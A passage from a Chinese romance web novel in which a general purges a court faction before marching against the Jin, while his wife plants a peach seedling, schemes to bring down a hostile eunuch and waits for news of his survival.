崔伯翀望着睡熟的女子,欺身而上,亲了亲她的眼角和脸颊,重复之前的话,“等我回来。” 如他所言,这是一个千载难逢的机会,金人的入侵让德昌帝的愤怒与畏惧都升到了最高峰,崔伯翀主动迎战,便是算准了德昌帝的心思。 之前,德昌帝一直是坚定的主和派,遇战只想着割地求饶,送人送岁币,再有蔡存等人的搅和,打压武将,在崔伯翀看来,河山倾覆不过是时间问题。 现在则不同,德昌帝膝下有了太子,心心念念将江山交到太子的手中,为此而厌弃了蔡存,蔡党一群人嗅到了危险的气息便迫不及待地倒向了晋王。 晋王也是主和派,但此时他是崔伯翀口中对太子最大的威胁。 “身为臣子,迎战金人自是义不容辞。然,臣若率兵离开都城,狄公垂垂老矣,怕是护不住太子殿下,朝中主和派本就实力强盛,万一再与金人里应外合,陛下恐怕也难逃一难。” 崔伯翀在延和殿中的一番话毫不客气,骇地德昌帝脸色大变。 绝不是危言耸听,大周立国以来,前方武将拼死拼活地打仗,后方主和派和敌人称兄道弟反手捅武将一刀的事例不止一起。 德昌帝身为皇帝,知道的更清楚,他勉强沉住心神,问崔伯翀要怎么做。 “诛蔡党,囚晋王,最好臣离京之前他们的结局便尘埃落定。” “……好。” 德昌帝答应了,两人心照不宣,何止诛蔡党,崔伯翀要借此机会清除朝中软骨头的主和派。 这是他和德昌帝的交易,否则,他又凭什么为害过自己的君王而“送死”呢? 而德昌帝慌了一瞬后也放下了心,颇为罕见地将指挥权和决策权都给了崔伯翀,他一个必死之人亲缘又浅薄,不必担忧他危及皇家。 再者,狄恒虽不讨喜,但为人正直,也算得上忠心,倒是不怕出现乱子。 此时,崔伯翀平静地步出房门,用铁革将一只衣袖束紧,脸上露出了冰冷的笑意。 还好她喝下安神药睡着了,听不到哭闹声,等到她醒来,也根本不会发现他身上浓郁的血腥气。 “先将那几条街道围住,弓箭手就位。” “是。” ……求饶,怒骂,斥责,喧闹的声音响彻在天空,今夜的都城注定无法安睡。 晋王府,相府,尚书府,侍郎府等等一众府邸全被面容森冷的兵将围了起来,崔伯翀每去到一座府邸,身上的血腥气便浓重一分,一直持续到黎明。 嗅到危险的人与畜都噤若寒蝉,瑟瑟发抖,这是一场血的清洗,不需要证词,不接受辩解,唯有照着名册,头颅落地,无一幸免。 结束的时候,晨光照射在男人的身上,他衣袍上沾染的鲜血仿佛为他镀上了一层金红色的光芒。 华美,耀眼,煌煌不可直视。 崔伯翀弯了弯唇角,垂眸一看,不虞地啧了一声,手腕处早就干枯的茱萸竟然也不小心溅上了几滴血。虽然颜色更加鲜艳美丽,但他还是毫不犹豫地将手串扯断,扔到了地上。 所谓驱邪避凶的寓意,现在的他不需要了,去到战场上,他才是最大的一头凶兽。 “前面那座是曹府吧?倒是乖觉,一点声音都不敢出,不过,来都来了,去把曹家家主和他几个儿子拖出来,今日午时绑着一同离京。” 他不在府中,曹夫人和她的儿女也是个麻烦,不过,解决的法子从来都很简单。 出行在即,崔伯翀懒得再琢磨些弯弯绕绕,直接将曹家现任家主和未来家主绑上战场,曹家的命根捏在他的手中,蠢蠢欲动的人自然歇了心思。 见此,便是狄恒也没说什么。 对待一个惊才绝艳又注定英年早逝的后辈,他施以了最大的包容,闻见崔伯翀身上冲鼻的血腥气也没皱眉。 “伯翀,接下来的事便交给我,你先回府洗一洗,最后再陪陪小桃。”狄恒上前拍了拍崔伯翀的肩膀,长叹了一口气,让他保重身体。 午时,大军便要出发。届时,朝中的言语沸腾到天上去也不会有半分用处。 崔伯翀朝狄恒笑着颔首,“公亦保重。” 话罢,他便翻身上马,骑着一匹神骏的黑马回到他的桃子身边。 幸好,她还在睡,安静的模样和他离开之前没有丝毫变化。 崔伯翀定定看了她半晌,转身去了净室沐浴。 而不知是血腥气的缘故,还是哗啦啦的水声太刺耳,躺在被褥中的女子蓦然醒来,浑身战栗。 一刻钟后,崔伯翀披着一件墨蓝色的长袍,从净室走出。他的目光扫过房中,脚步微顿变了一个方向。 不甚明亮的光线中,一颗光着脚的桃子正举着陶碗默默流泪,身躯瘦小又可怜。 “桃核发芽了。”她越哭越伤心,泪水滴落在陶碗中,刚好落在新生的嫩芽上。 薛含桃想不明白,为什么给了她希望又让她绝望,可是当她绝望到了极致,又告诉她,她的努力并非白费。 “发芽了便种下去。”崔伯翀含笑拭去她的泪水,接着取来一双绣鞋,屈身,握住她的脚腕为她穿上。 薛含桃摇摇头,种下去了又怎么样,对她许下承诺的人要离开她了。 “今天什么时候?”她语气艰涩,又没气力。 “午时,我们还有一个上午,不要哭,我已经安排妥当。”崔伯翀搂着她的腰,和她说东院的所有护卫会留下保护她,京中有狄公,宫中的内侍他全部打过招呼,她无论去到何处都能安稳周全。 薛含桃眼神空洞,根本不在乎他说的安排,“一个上午,铁革我还没有买,武器,平安符……” 说着她如梦初醒,着急地想要冲出房间,去兵器铺子,去慈恩寺,去药铺,她有五百两银子,足够花用为他置办需要的东西。 “方振已经都备好了,他和孙大夫会和我一起离京。” “哦。”闻言,薛含桃停住脚步,垂下脑袋,“替我和方大哥还有孙大夫说一定注意安全。” “我呢?桃子想和我说什么?”崔伯翀点头,转而放缓了呼吸,柔声问她。 铁革,武器,平安符他都不需要,他只想在临行前听到她口中的爱意。 薛含桃缓缓抬头看着他,挤出了一丝笑容,丑巴巴的比哭还要难看,“你还想要什么呢?所有的都给你,可是你不要我了。” 是他抛弃了桃子。 崔伯翀的心脏骤然收缩,捧着她苍白的脸,在她额头落下一吻。 “我答应你,若我不能活着回来,便和离放你自由。” 他亲手写下了一封和离书,在自己的躯体和灵魂同时系上了一条锁链,然后把锁链的另一头交给他的桃子。 第76章 第七十六章祝愿世子。 午时,望仙阁。 薛含桃呆呆地站在这个地势最高的地方,望着那个人的身影越来越远,最后变成一个小小的黑点。 再然后,消失不见。 曾经自己耗尽所有力气留下来的神明就这般离开了,她伸出手什么都没碰到,这一刻,连日来的欢喜与紧绷在她的心中消散。 她动了动嘴唇,已经没有泪水流下。 凝视着他离开的方向,许久,薛含桃弯起眼睛,小声说,“永远祝愿世子。” 祝愿世子长命百岁。 即便他听不到,即便他让她精疲力尽,她依旧每日怀揣着最虔诚的心情祝愿他。 只是,桃子为了自救,也会让自己努力地遗忘他,他的离开带走了她身上几乎全部的生机。 只有遗忘他,她才可以不那么心痛,慢慢地活下来。 薛含桃从望仙阁上一步步走下,摇摇晃晃,仿佛风一吹就散开的蒲公英。 果儿和玉蘅看着她这般模样,担忧不已,可是还未开口,她笑着朝她们看过来,说自己想吃枣泥糕还有酸酸甜甜的橘子。 语气听起来又很正常。 果儿和玉蘅对视一眼,忙不迭地行动起来,一人看着她,一人去厨房传话。 不多时,枣泥糕和金橘就送到了薛含桃的面前,她吃一块点心,又吃一瓣橘子,吃到肚子撑起来,自己没事人一样地站起来,从房间里面端来了陶碗。 “阿凶,你要帮我找到泥土最肥沃的地方,桃核种下去,以后就能结出好吃的桃子,肯定比桃林村的野桃甜。”端着陶碗,她认真地嘱咐大黑狗。 对这个工作,大黑狗并不陌生,从前它为主人找过泥土,那次是栽种紫昙的种子。 事实证明,大黑狗的探寻能力出色,后来紫昙不就开花了吗? 薛含桃将希望寄托在它的身上,让它嗅了嗅桃核发出的嫩芽,阿凶带着毛发的狗脸严肃,直奔一处而去。 别看阿凶算是一条老狗了,精力不如从前,但偌大的东院只有它一条狗,即便累的吐舌头,它还是尽职尽责地守护着自己和主人的地盘,在每一处都做了标记。 若说土壤肥沃,阿凶觉得书房外离那株早桂不远的空地就很不错,可能是年年早桂的花叶飘落过去,又少人打理,那片土地还香香的嘞。 “这里啊。”信任它的主人没有怀疑它的判断,捏着一撮泥土看过之后,便举起锄头开始挖坑。 不算太深的泥坑挖开,薛含桃小心地将桃核从陶碗中取出来,嫩芽朝上,她仔细地把泥土重新盖上去。 接着便是浇水,大黑狗又不知从何处找到了几片枯叶,她掰碎后洒在泥土的上方。 如此桃核便种好了,她没有辜负对他的承诺。 薛含桃盯着细小的嫩芽看了一会儿,再次站起来,她身体一晃失去了意识。 长时间的情绪强烈波动之下,她到底是病了。病的很严重,迷迷糊糊的,人事不省,又总是在做梦。 梦里,种下去的桃核越长越高,开花,结果,可是当她摘下一颗颗美味的桃子,等来的却是一具没有气息的尸体。 他不会和她说话,也不能再睁开眼睛看她种出的桃子。 盘旋在空中的秃鹫高声尖叫,一只很深很宽的泥坑被挖开,男人的尸体被放进去,最后一捧捧的泥土将他整个人盖住。 无论她如何哭喊乞求,她也再看不到他的脸……梦魇无穷无尽,好在孙医圣还在府中没有离开,医术超凡的老人家亲自为她诊脉,一番长吁短叹之后开了一副药方。 不知过了多久,也不知是谁往她的嘴里喂了一碗苦涩的药汤,更不知是几日后的一个上午,在阿凶的舔舐中,薛含桃缓缓睁开了眼睛。 面前的人竟是宫里的薛贵妃,她面带欣喜地对薛含桃说,崔世子首战告捷,已经从金人的手中夺回了那两座被占的城镇。 “陛下龙颜大悦,特准我出宫看望你。小桃,你可不能再病了,你看陛下还降下圣旨,大肆夸赞崔世子,我向陛下进言,他又将一处空下的官宅赐予你作为宁国夫人府。” 这绝对是破例为之的奖赏,也只在女性权力更高的前朝,国夫人可以拥有自己的府邸。 “原来是胜了。”听到薛贵妃的话,薛含桃坐在柔软的被褥中低语,空荡荡的寝衣露出一截细骨嶙峋的手腕。 仅仅数日过去,她便极速地消瘦下来,脸颊没了肉,两只眼睛便格外地大。 好在,内里并非一片灰暗。 或许是因为那一碗碗汤药安抚了她的身体,也或许是首战得胜的消息告诉她梦境未能成真,这天过后,薛含桃慢慢地好了起来。 她开始按时用膳,给大黑狗梳毛,给果儿和府里的侍女作画,待在书房里面精炼自己的书法。 而崔伯翀从前线着人递回来的书信她仔细看过,也老老实实写了回信。 她很好,桃核种下去了,也希望他平安。 渐渐,薛含桃脸上的笑容恢复了正常,眼中的亮光也一点点变多,甚至,她勇敢地去狄府拜访了吴国夫人。 “嗯,是陛下赐给我的府邸,里面已经修缮好了,我想着总要住进去一段时间,不然,像是对陛下不敬。我知道狄将军现在很忙,夫人若有时间可以去吃茶。” 对着吴国夫人,薛含桃很不好意思地说她认识的人不多,除了吴国夫人外还宴请了以前的街坊邻居和宫中的宫女内侍。 “这有什么,你别看姓狄的老匹夫现在风光,往前数几十年,他连口饭都吃不饱,有一次代人受过还被打了个半死。”吴国夫人说起从前感慨万千,并不在意和其他客人身份上的差距。 听到这里,薛含桃放下心,恭敬地将请帖递给她。 离开的时候遇到一身风霜的狄恒,得知她要从定国公府搬到新的府邸里面,为此还要设宴,狄恒皱了皱眉,下意识便询问崔家可有人为难她。 “没有,我住在东院,几乎不和定国公和曹夫人他们见面。只是新的府邸是陛下赐给我的,我若是不住进去……”薛含桃摇头,话没有说完,就请狄恒保密不要将这件事告诉世子。 “也罢,不过是换个住处。那座府邸我知晓,小桃,你安心住在里面,我会和巡城司的人说让他们按时去巡逻。” “嗯,多谢狄将军。”薛含桃朝他笑了笑,神色微有腼腆地离开。 宁国夫人府其实距离定国公府不算远,只隔了一条街,走路一个来回两刻钟都不需要。 薛含桃带着果儿和罗承武等人搬了家,也只花费了半天的时间,不过玉蘅等人还是留在东院。 当然设宴那一日,她们都去了新的府邸帮忙。 薛含桃毕竟头顶着一个宁国夫人的名头,加上她不仅是崔世子的正妻,又是太子殿下的姨母,尽管这场宴会异常低调,可还是有不少人知晓。 比如,宫里的德昌帝,宫外 的勋贵官员。 一些人赫然发现,这个曾经不起眼的农女竟然已经在京城站稳了脚跟,而且,隐隐约约的言论传出来,蔡存之前被陛下厌恶,其中就有她的作用。 之前陛下下旨向雪后受灾的百姓发放米面炭火,也有她进言! 一场宴会过去,薛含桃站在了人前。 就连德昌帝也好奇地询问内侍何焕,宴会上的场景以及薛含桃的举止。 何焕被邀请前去,临行前得了许多吃食和药材,听到德昌帝问询,立刻拿出几样糕点请他查看。 “宁国夫人感念陛下恩德,府邸一修好便迫不及待地搬进去,只是她到都城时日不多,赴宴的人实在少的可怜。除了吴国夫人,剩下的人竟然都是普通百姓,有商妇有浆洗为生的妇人,还有店里的伙计,与人说媒的牙媪。宴上随便交谈几句,一群人便吃喝起来,说实话,她这等身份在都城所为,实在是闻所未闻。” 德昌帝咳嗽了一声,闻言,又放心地笑起来,“纯朴可嘉,实属少有。” “陛下说的是,和宁国夫人相处起来,总不需要想些复杂的纠葛,虽然不太上得台面,但较为舒心。”何焕笑意吟吟,犹豫了片刻又对德昌帝说自己被邀去赴宴的缘故,“只是那次帮着宁国夫人通传了一次,谁知她记在了心上。” “哼!皇后的手伸的倒长。”德昌帝猛然得知前些时候崔皇后为难薛含桃的事,脸色微沉,忍不住又咳嗽了几声。 想了想,他下了一道口谕,吩咐何焕,“宁国夫人是皇儿的姨母,伯翀的妻子,下次她若想进宫,无需通报。” “是。”何焕眸光一动,更坚定了暗中生出的心思。 很快,他便出宫,将这个消息告诉了薛含桃。 “这是不是坏了宫里的规矩,劳烦何内侍和陛下说,我担当不起。”闻言,小姑娘显得有些慌张,再三请德昌帝收回成命。 “娘子勿怕,圣意不可违。”何焕笑着安慰她。 薛含桃愣了一下,小声地问她可不可以进宫谢恩,“陛下赏赐府邸,可我根本没做什么,保家卫国也是世子做的,和我没关系。” “当然可以。” 何焕不以为意,带她进了宫。 延和殿中,面见德昌帝,薛含桃一步不差地行了俯首的大礼,听到德昌帝咳嗽,她小心翼翼地请德昌帝保重身体。 “太子殿下年纪尚小,阿姐说他需要很多人的保护。前线有世子抗击金人,宫里更少不了陛下您的看顾。” 她提到前线,德昌帝眯起了眼睛,想了想,笑着问她暂时留在宫里照顾太子如何。 “嗯。”薛含桃没有犹豫,便答应下来,又说,“我知道有一味药可以止咳。” 第77章 第七十七章变成了坏桃子。 “这个季节,向南的山坡上会生长一种和葱韭相似的野花,将它的花蕾和根茎取下来熬水服下便可以止咳。” 薛含桃回想了一下,记起这种野花的名字,“款冬花,采上整整一背篓送到药铺,伙计会给十文钱。” 每年冬天结束,初春来临,她和阿凶从早采到晚,累的一人一狗都直喘气。 十文,在德昌帝的耳中是一个极其陌生的词汇。 “你有心了。”他看着薛含桃,不难发现她的忐忑和拘谨,语气温和起来。 “这不算什么。”薛含桃不好意思地对着德昌帝又行了一礼,才从延和殿离开。 殿门高耸,映衬之下,她的背影异常渺小,格格不入。 德昌帝见此心头一松,彻底放下了对她的戒心,让何焕送她出宫。 何焕领命,引着薛含桃往宫道上走,却恰好与一人擦肩而过,他脚步微顿,拱手相让。 内务省都知,石宪一,世子让她记的画册上面有。 薛含桃的脑海里下意识地映出这个人的职位与名字,故作好奇地看过去。 石宪一却像根本没有留意到他们两人一般,颇为热切着急地进入延和殿,背影生风。 但薛含桃觉得他看到何焕了,因为他经过何焕身边时脸上皮肉抖动,分明是嫌弃厌恶之态。 “这人真讨厌,趾高气扬不搭理人,何内侍,你下次不要和他打招呼了。”她好心劝何焕,为他打抱不平。 何焕干笑,本来想开口说石宪一比他得陛下看重,品级更高,蔡存倒台了也没受到波及。蓦然,他联想到暗中的一些言论,低声提醒薛含桃。 “娘子不知,石都知深得圣心,他的话陛下时常会听。据说,石都知有心提议往前面崔世子身边送去几名监军。” 虽然以蔡存为首的一群人被临走之前的崔世子诛杀殆尽,但内侍当中和蔡存一丘之貉的人依旧不少。 一个不经意,他们便会出来恶心人。这不,崔世子打了胜仗,刚将两座城镇夺回来,这些人就急哄哄地想去抢功。 此为其一,其二嘛,也可以替德昌帝监视崔伯翀。 这是从太、祖年间就开始的惯例,内宦无根,依托君王而活,用来辖制武将正好。 “何内侍,你想要都知的位置吗?”听懂了何焕的言下之意,薛含桃眨了眨眼睫毛,低声问他。 “娘子何出此言?” “我可以帮你,先前我便说对何内侍必有重报。” 薛含桃几乎不说谎,她会努力达成说出的每一句承诺。 不仅对何焕,还有世子。 “他不惜耗费自己的性命求一个山河无恙,现在只是刚开始,不可以让任何人去破坏,阻止。” “奸人必须要死。” 从前的奸人是蔡存,是晋王,如今的奸人是冒出来的石宪一。 听到她的低语,何焕心动不止,他为什么频频朝薛含桃示好,自然不可能因为几口吃食。 还不是看中了她身上蕴含的能量?她的背后现在是崔世子,是薛贵妃,将来再有太子作后盾,能力不可小觑。 只是,心动之余他仍有几分犹豫,几分惊讶,石宪一根基深厚,得陛下信任,并不是随随便便就能扳倒的,她准备怎么做。 薛含桃垂下脑袋,慢慢说出了和崔伯翀之前一般无二的话,“要等待。” 这一等便是两日,当石宪一鼓动德昌帝派人去前线监察的言论大肆传开时,薛含桃趁着出入宫廷的机会给了何焕一只灰扑扑不起眼的荷包。 起初何焕心有疑惑,但等他解开荷包看到绢帛上的字迹,心跳与呼吸骤然停止。 这怎么可能!- 这夜,正巧何焕当值,等到德昌帝入睡,他静悄悄地离开了延和殿片刻,叫来一个心腹小太监。 “这个东西交给石都知,就说我今夜在延和殿当值。” “是。”- 又是一日金轮西垂,薛含桃从宫门走出,同接她回府的罗承武和果儿两人打招呼。 “果儿姐姐,罗大哥,今日御膳房新做的玫瑰酥皮点心,你们快尝一尝。” 薛含桃有些疲惫,晨起宫门打开,她便踏着晨光去到薛贵妃的宫中,说是照顾太子,然而所有人都心知肚明,德昌帝将她视作牵制崔世子的一名人质。 虽然德昌帝不好做的太明显,在宫门落钥之前她还可以出宫,但来回奔波也是很累。 果儿为她倒了一杯热茶,她手捧着茶杯慢吞吞地喝,让果儿赶紧吃点心,“出宫前胡姑姑给我的,还热着。” “唔,就是这个味儿。”果儿咬了一口,惯例又问宫里有没有人欺负她。 “没人欺负我,我好着呢。”薛含桃让果儿放心,弯着唇角露出一个笑容,“有阿姐在,谁敢欺负我。” 她只把每日进宫当作探亲访亲,陪小皇子玩有什么可紧张的呢,唯一苦恼的便是,“宫门到柔仪殿太远了,还必须小步小步地走,走快一些大步一些,不合规矩。” 果儿听了直点头,宫里面规矩不仅多还十分琐碎,只走路一样便 能说出七八种禁忌,娘子在这上头不习惯太正常了。 “要不娘子下次和贵妃娘娘提一提……” 果儿的话说到半截,马车猛地一停,罗承武寒着脸拔出了佩刀。 不出一个时辰,内务省石都知派人截杀宁国夫人的罪名传到德昌帝的耳中,无比嚣张的行径震惊宫里宫外。 得因城中巡逻的官兵赶来的及时,宁国夫人只是受到了惊吓,但定国公府护卫身上的鲜血让人丝毫不怀疑,有人动了杀心。 狄恒得知后,怒极之下率人直冲内务省,将人和他的一众拥趸抓了起来。 尽管石宪一不停地辩解只是有事想请宁国夫人见一面,可又有谁会相信。 绝大多数人都觉得石宪一是想把宁国夫人私自抓去,严刑逼供甚至屈打成招,然后再以此构陷她的夫君崔世子来达成其夺权的目的。 此事可谓是群情激奋,除了一两个深恨崔伯翀的官员为石宪一辩解几句,剩下的人全都怒斥石宪一奸孽之流。 宫里的薛贵妃也在哭诉,天知道她只一个妹妹,每日规规矩矩的,居然受此横祸。 “陛下,石都知还狡辩说是您……您给他的密旨。”何焕瞅准了机会,小心翼翼地在德昌帝的面前说道。 不出意外,本就怒气冲冲的德昌帝气的摔了一个笔洗,“放肆!” 他有心利用贵妃的妹妹牵制崔伯翀不假,但绝无伤她之意。相反,德昌帝对薛含桃的朴实无华很有好感,否则他不会让太子和她亲近。 德昌帝愤怒一个太监居然大胆攀扯到他的身上,又为了安朝臣和前方将士甚至薛贵妃的心,直接下旨处死石宪一等数十人。 因此,派人监军一事也无疾而终。 知道了结果的薛含桃很平静,她对着连夜探望她的孙医圣,狄将军和吴国夫人等人笑了笑,说福祸相依,“只是被吓一场,换来除掉一个奸宦,很划算。” “小桃,老夫已经奏明陛下,你明日不需再去宫里,只安心待在府中养身即可。”狄恒神色愧疚,眼前的小姑娘倘若真的被石宪一所害,他余生都不会原谅自己。 “不错,宫里成千上百的人伺候,哪里就要你亲自照顾太子殿下。”吴国夫人看着她消瘦的小脸,心疼不已。 “我是太子殿下的姨母嘛。”薛含桃模样懊恼,“不过,这件事可不可以不让世子知晓?” 她根本没事,罗大哥身上的血迹也是别人的。 从一开始,她就盘算好了。 “世子的信中从来不提他有没有受伤,我也不想让他知道,而且,他即便担心我也不可能回京,反而耽误战事。”她的话不仅对狄恒说,还有玉蘅等人。 狄恒想要开口说些什么,话到嘴边生生压制住。 他只得叹气,背过身去。 守卫京畿的重责担在他的身上,他脱身不了,也比谁都清楚,此时,无数人的身家性命都系在伯翀的身上,前线绝对不能出现半点差错。 “罢了,小桃你好好休息,我和老匹夫改天再来看你。”最后,吴国夫人拉走了沉默纠结的枢密使狄大人。 薛含桃默默地望着他们离开,心下微有歉意,但无法宣之于口。 她只是,用低若蚊鸣的声音说了一句对不起。 如世子从前所言,她不再是一颗老实的桃子,学会了算计,也学会了隐瞒。 “阿凶,你的窝让我挤一挤吧?我只敢对你说,我变坏了。”人都走了,薛含桃偷偷摸摸进去了大黑狗的偏房,和它小声说着连果儿姐姐都不能听到的话。 月光如水,大黑狗的身上暖烘烘的,她和从前一样依偎着它,不多时就睡了过去。 又过了一个时辰,果儿领着房间里面的小丫头来看,发现她挤着睡在阿凶的窝里,倒是安心不少- 石宪一死去没多久,何焕终于如愿所偿,成为了内务省的副都知。 头上只压着一个人,他的心情无比畅快,暗中对薛贵妃和薛含桃两姐妹更加殷勤。 那封“密旨”,他与薛含桃两人全都讳莫如深,再不提起。 而因为这场突如其来的变故,德昌帝愤怒之后惊出了一身冷汗,也断了插手前线的心。 他怕再生事,自己底下的皇位都坐不稳。 无人干扰加上狄恒等人在朝中使力,粮草前所未有的供应及时充足,前线不断传来大胜的消息。 三月春暖花开时,崔伯翀和大军将边境线推进了金国百里。 只差一步,曾经沦陷百年的河山就能重回大周的怀抱。 人人欣喜若狂,都城已经数次解了宵禁。 院中,薛含桃比划了一下长到她脚腕那么高的小树苗,垂眸一笑。 “夫人,门外有一年轻男子递来一封拜帖,言他姓稽,特来上门感谢。” 玉蘅拿着一封拜帖,走过来说道。 第78章 第七十八章“吾妻,信仰吾一人足够。…… 稽韶跟在罗承武的身后,一步步走进这座气势煊赫的公府,心情复杂。 数月来,他的心里始终怀疑自己收到名帖的真假,那个用敬畏的目光仰望他的小姑娘居然会是一品的国夫人。 犹豫,疑惑,以及被戳到伤口的痛楚让稽韶变成了一个懦夫。 他开始逃避,用酒来掩饰自己的软弱不堪,强迫记忆遗忘那一场惊鸿一瞥的邂逅。 然后,他收到了一封好友从京城递来的书信,蔡存遭到弹劾,刑部和大理寺开始复查蔡党上下数百人。 接下来发生的事情让稽韶如在梦中,蔡存和礼部侍郎身死,他父亲的旧事重翻,青石县县令直接被剥夺官职功名,流放琼州。新的县令很快到任,第一天便与他见面,客气地表示新科将开,并亲自为他写下保荐信。 也是从新县令的口中,他才知晓诛杀蔡存的人是崔世子,而崔世子的夫人正是贵妃之妹,陛下封赏的宁国夫人。 她姓薛。 稽韶的脑海中重新浮现出一双清澈见底的眼睛,她迎着日光一眨不眨地朝他看来,整个人仿佛晶莹剔透的露珠。 干净,明亮。 那当日他见到的男子便是名满天下的崔世子,一位惊才绝艳只可高山仰止的郎君,果然与她十分般配。 同崔世子相比,他确实是一个不要脸的玩意儿。 但纵然自惭形秽,稽韶也不能对这一份恩情视而不顾。他毫不怀疑自己的大仇得报背后有薛娘子的帮忙,所以在进京的第二天他便带着名帖上门拜见。 认出领他入府的男子是薛娘子的“表兄”,稽韶心中先是怅然接着便是愈加强烈的羞愧。她根本不需要自己的赐福,崔世子说的对,他才是真正需要方相氏面具庇护的那个人。 稽韶啊稽韶,你多可笑啊,扮着神明却连认清自己的勇气都没有。 他走到会客的厅堂,心中的自嘲仍未停止。 薛含桃一眼看到他,连 忙唤他稽夫子,并请他入座吃茶。 “草民拜见宁国夫人。”稽韶略微恍惚地望着她,脑海中的记忆很快被推翻。 在他的眼中,此时眼前的薛含桃更像是一颗清亮柔美的珍珠。 光华愈显。 “不不,稽夫子还是唤我薛娘子吧,宁国夫人听起来不太像我自己。”薛含桃忙不迭地摆手,身上的汗毛都尴尬地立了起来,她虽然在慢慢适应自己的身份,但仍无法接受别人对她异常恭敬的模样。 她说到底只是沾了世子和堂姐的光,要变成名副其实的国夫人还差得远呢。 吴国夫人出身同样平平,但她年轻时杀过敌人,安置狄将军手下受伤的部属及家人也尽心尽力,不像自己成为国夫人运气占了大半。 “好,薛娘子。”稽韶笑笑,可恭敬的举止没有变化,下一刻他撩开衣袍,神色肃穆地朝着端坐的女子行了一个大礼。 “天理昭彰,我与父亲的仇怨终于得报。今日稽韶便立下誓言,将来凡薛娘子所请,我必义不容辞拼命而为。” “不必这般客气,稽夫子你的事,我只是在陛下的面前提了一句话而已。”薛含桃坐也不是,站也不是,只好亲自上前扶他起身,和他解释自己的作用微不足道。 奸人作恶,或迟或早都会受到惩罚。 闻言,稽韶体内五味杂陈,若等着上天的报应,蔡党等人恐怕现在嚣张如夕。 “我人力微薄或许帮不上薛娘子什么,但此恩若是不报,我心难安,日后见到父亲也无法同他交代。” 稽夫子态度坚决地表示要向她报恩,不报恩便寝食难安。 薛含桃理解了他的心情,迟疑一瞬,问他可不可以教导自己读书。 “父亲在世的时候,我只和他学习了千字文,百家姓,诗经几本书,稽夫子是在学塾教书的夫子呀,便把我当作孩童教导吧。” “娘子想学什么?”稽韶面带微笑地询问。 “四书五经都可以,对,学史,我更想学史。皇族世家,朝廷官吏,我要知道地更清楚。”薛含桃回道。 稽韶看出她眼中的坚定,没有考虑便答应下来。 “夫子,请喝茶。”看到他点头,薛含桃很高兴,端起茶盏递给他。 两人心有默契,并未提起之前梅园相约的差错。 稽韶不曾准时赴约,她也未对崔世子说的那些伤人的话做出解释。 约定好每隔一日两个时辰的授课,稽韶作为夫子简略地问了她几个问题后,告辞离开。 “等到后日,稽夫子再上门,便去隔了和这里一条街的宁国夫人府吧,那是我自己的府邸。” 稽韶临走前,薛含桃抿了抿唇瓣和他说道。 明明她脸上带着浅浅的笑意,然而,稽韶敏锐地从她的神色中感受到一缕难过。 为了什么而难过呢?他不得其解,崔世子大胜金兵,用不了多久便会带着满身的荣耀归来。 稽韶觉得,应该是他看错了。 然而,后日,稽韶如约去到宁国夫人府,又发现他的直觉很准确。 她认真地端坐听他讲史,时不时露出一幅心事重重的模样,根本遮掩不住。 “夫子,怎么才能不让君王对一个有功之臣起猜忌之心啊?飞鸟尽良弓藏,狡兔死走狗烹,史书上比比皆是。”薛含桃问道。 稽韶神情微顿,有些明白她担忧着什么,斟酌字句回道,“使君王有容人之量,或功臣聪明自晦,再有,君弱臣强。” 是啊,天子比任何人都尊贵,高高在上不染尘埃。 薛含桃默默点头,表示听进去了。 稽韶为她讲史的次日,她便背着一个陶罐进了宫,陶罐里面装满了用款冬花熬好的汤水。 款冬花是玉蘅派人从城中的一个药铺买来的,薛含桃取下花蕾和根茎熬了许久。 到了宫中,她将陶罐交给何焕,接着就去了薛贵妃的柔仪殿。 近日来,因为她时常进宫,小皇子和她的关系越来越亲近,看不到她的人一双眼睛还会滴溜溜地找她。 何焕听说陶罐里的汤水可以止咳,先让一个小太监喝了几口,没有察觉问题,等到德昌帝咳嗽不止之时,他便试探着提了这件事。 “宁国夫人今日进宫带进来的,让太医看过了并无问题。” “人试过了吗?” “也试过了,说喝下去很舒服。” 德昌帝嗯了一声,让人端上来,他喝下一碗,没多久,喉咙的痒意确实得到了缓解。 “乡野方子倒有些用处,吩咐太医院的太医,让他们多去民间寻些方子。” “是。”- 半个月又过去,金人彻底战败,被赶回了北荒之地。 胜利的喜悦洋溢在每个人的笑脸上,薛含桃无论去到哪里都能听见欢呼的声音。 她也在笑,可笑容之下是难以控制的焦虑。所有人都在为战胜的英雄赋上耀眼的荣光,可没有人提起他的身体怎么样了。 直到狄恒找过来,笑容满面地告诉她不日大军就会回朝。 “小桃,伯翀可以圆满地回来了。”狄恒神色难掩激动,眼中隐有泪光,多少年了,北伐的夙愿终于成真,他差点忍不住嚎啕大哭一场。 可是太不体面,狄恒硬生生地维持住了镇定。 他拿出一封书信递给已经愣住的小姑娘,识趣地将空间留给了她一人。 薛含桃紧紧地捏着书信,用牙齿啃自己的指尖,用所有的力气拼命呼吸,许久,她才恢复平静,打开了所谓命运对她的审判。 之前从前线递回来的几封书信无一例外都很简短,除了一句平安,几乎再无其他。狄将军和她解释说这是为了防止书信被有心之人截获。 与之相对,薛含桃每次递过去的信也只有寒酸的两句话。 平安,真的平安吗?她每日问着自己这个问题,不敢去探究。 可是,她的直觉告诉她这一次的书信和以往不同。 对,他们战胜了金人,不必再担忧有人拦截,摸起来也比之前厚了一些。 薛含桃将信纸展开,先映入她眼帘的是一卷小画。 寥寥数笔,勾勒出苍茫的戈壁和零星绿色的草原,与都城截然不同的北国风景跃然纸上。 崔伯翀仿佛在用一幅画告诉她,神明并非虚假无用,他做到了百年来所有人杰都渴求的一件事。 “嗯,世子比狄将军还要厉害。” 定定地看过画卷的每一处,她的目光停留在一行字上,熟悉的笔迹让她浑身颤抖。 “吾妻,信仰吾一人足够。” 那日,他追到青石县抓住一颗逃跑的桃子,同样说了这句话。 他可以是冷漠的,疯魔的,也可以是温柔的,仁慈的,但不管是何种模样,他只会是她心目中唯一的神明。 救下她一个人,也可以救下她眼中的每一个人。 他会护着她,和她扎根生活的地方永远平静安定。 “可是,我只愿你平安。” 一滴泪水落在信纸上,薛含桃再次往下翻开,意外地看到了孙大夫洋洋洒洒写下的一番话。 他的字迹略微潦草,不过大致意思她能够读懂。 孙大夫在信中写道,崔世子的身体虽有大幅度的损伤,但他心力强盛,寿元或许可以撑住。 “十年内,寿命无忧。” “无忧……”薛含桃呆呆地念着这两个字,眼睛里含着水光,又哭又笑,“可以吃到桃树长出的桃子了。”- 次日一大早,果儿伸了个懒腰,将房门打开。 眼睛还没完全睁开,她就被不远处突然出现的人影吓了一大跳。 